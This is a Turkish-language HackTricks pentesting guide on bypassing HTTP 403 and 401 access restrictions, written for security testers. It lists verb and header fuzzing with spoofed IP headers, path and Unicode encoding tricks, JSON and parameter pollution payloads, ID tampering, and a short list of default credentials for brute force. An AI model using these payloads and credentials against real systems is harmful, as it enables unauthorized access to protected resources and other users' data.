hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

158 lines
9.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 403 & 401 Bypass'leri
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Recon'dan raporlamaya kadar 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## HTTP Fiilleri/Yöntemleri Fuzzing
Dosyaya erişmek için **farklı fiiller** kullanmayı deneyin: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
* Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, `Content-Length: 55` ile **HEAD** için **200 yanıtı**, **HEAD fiilinin bilgiyi erişebileceği** anlamına gelir. Ancak, bu bilgiyi dışarı çıkarmanın bir yolunu bulmanız gerekir.
* `X-HTTP-Method-Override: PUT` gibi bir HTTP başlığı kullanmak, kullanılan fiili geçersiz kılabilir.
* **`TRACE`** fiilini kullanın ve çok şanslıysanız, belki yanıtınızda **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz, bu da faydalı olabilir.
## HTTP Başlıkları Fuzzing
* **Host başlığını** rastgele bir değere değiştirin ([burada işe yaradı](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* Kaynağa erişmek için [**diğer Kullanıcı Ajanlarını**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kullanmayı deneyin.
* **HTTP Başlıklarını Fuzzing**: HTTP Proxy **Başlıkları**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri kullanmayı deneyin. Bunu yapmak için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) aracını oluşturdum.
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
* `X-Forwarded: 127.0.0.1`
* `Forwarded-For: 127.0.0.1`
* `X-Remote-IP: 127.0.0.1`
* `X-Remote-Addr: 127.0.0.1`
* `X-ProxyUser-Ip: 127.0.0.1`
* `X-Original-URL: 127.0.0.1`
* `Client-IP: 127.0.0.1`
* `True-Client-IP: 127.0.0.1`
* `Cluster-Client-IP: 127.0.0.1`
* `X-ProxyUser-Ip: 127.0.0.1`
* `Host: localhost`
Eğer **yol korunuyorsa**, bu diğer başlıkları kullanarak yol korumasını aşmayı deneyebilirsiniz:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* Eğer sayfa **bir proxy'nin arkasındaysa**, belki de proxy, özel bilgilere erişmenizi engelliyordur. [**HTTP İstek Kaçırma**](../../pentesting-web/http-request-smuggling/) **veya** [**hop-by-hop başlıkları**](../../pentesting-web/abusing-hop-by-hop-headers.md)** istismar etmeyi deneyin.**
* Farklı yanıtlar aramak için [**özel HTTP başlıklarını**](special-http-headers.md) fuzzing yapın.
* **HTTP Yöntemlerini** fuzzing yaparken **özel HTTP başlıklarını** fuzzing yapın.
* **Host başlığını kaldırın** ve belki de korumayı aşabileceksiniz.
## Yol **Fuzzing**
Eğer _/path_ engellenmişse:
* _**/**_**%2e/path _kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca**\_\*\* /%252e\*\*/path (çift URL kodlaması) deneyin.
* **Unicode bypass** deneyin: _/**%ef%bc%8f**path_ (URL kodlu karakterler "/" gibidir) bu nedenle geri kodlandığında _//path_ olacak ve belki de _/path_ adı kontrolünü aşmış olacaksınız.
* **Diğer yol bypass'leri**:
* site.com/secret > HTTP 403 Yasak
* site.com/SECRET > HTTP 200 Tamam
* site.com/secret/ > HTTP 200 Tamam
* site.com/secret/. > HTTP 200 Tamam
* site.com//secret// > HTTP 200 Tamam
* site.com/./secret/.. > HTTP 200 Tamam
* site.com/;/secret > HTTP 200 Tamam
* site.com/.;/secret > HTTP 200 Tamam
* site.com//;//secret > HTTP 200 Tamam
* site.com/secret.json > HTTP 200 Tamam (ruby)
* Aşağıdaki durumlarda [**bu listeyi**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) kullanın:
* /FUZZsecret
* /FUZZ/secret
* /secretFUZZ
* **Diğer API bypass'leri:**
* /v3/users\_data/1234 --> 403 Yasak
* /v1/users\_data/1234 --> 200 Tamam
* {“id”:111} --> 401 Yetkisiz
* {“id”:\[111]} --> 200 Tamam
* {“id”:111} --> 401 Yetkisiz
* {“id”:{“id”:111\}} --> 200 Tamam
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (JSON Parametre Kirliliği)
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parametre Kirliliği)
## **Parametre Manipülasyonu**
* **param değerini değiştirin**: **`id=123` --> `id=124`**
* URL'ye ek parametreler ekleyin: `?`**`id=124` —-> `id=124&isAdmin=true`**
* Parametreleri kaldırın
* Parametrelerin sırasını değiştirin
* Özel karakterler kullanın.
* Parametrelerde sınır testi yapın — _-234_ veya _0_ veya _99999999_ gibi değerler sağlayın (sadece bazı örnek değerler).
## **Protokol versiyonu**
HTTP/1.1 kullanıyorsanız **1.0 kullanmayı deneyin** veya **2.0'ı destekleyip desteklemediğini test edin**.
## **Diğer Bypass'ler**
* Alan adının **IP** veya **CNAME**'sini alın ve **doğrudan iletişim kurmayı deneyin**.
* **Sunucuyu zorlayın** yaygın GET istekleri göndererek ([Bu adam için Facebook'ta işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* **Protokolü değiştirin**: http'den https'ye veya https'den http'ye
* [**https://archive.org/web/**](https://archive.org/web/) adresine gidin ve geçmişte o dosyanın **dünya çapında erişilebilir olup olmadığını** kontrol edin.
## **Brute Force**
* **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Ya da CTF meydan okuma adını mı?
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Temel, digest ve NTLM kimlik doğrulamasını deneyin.
{% code title="Yaygın kimlik bilgileri" %}
```
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
```
{% endcode %}
## Otomatik Araçlar
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
* [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
* [Burp Eklentisi - 403 Bypass](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
* [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}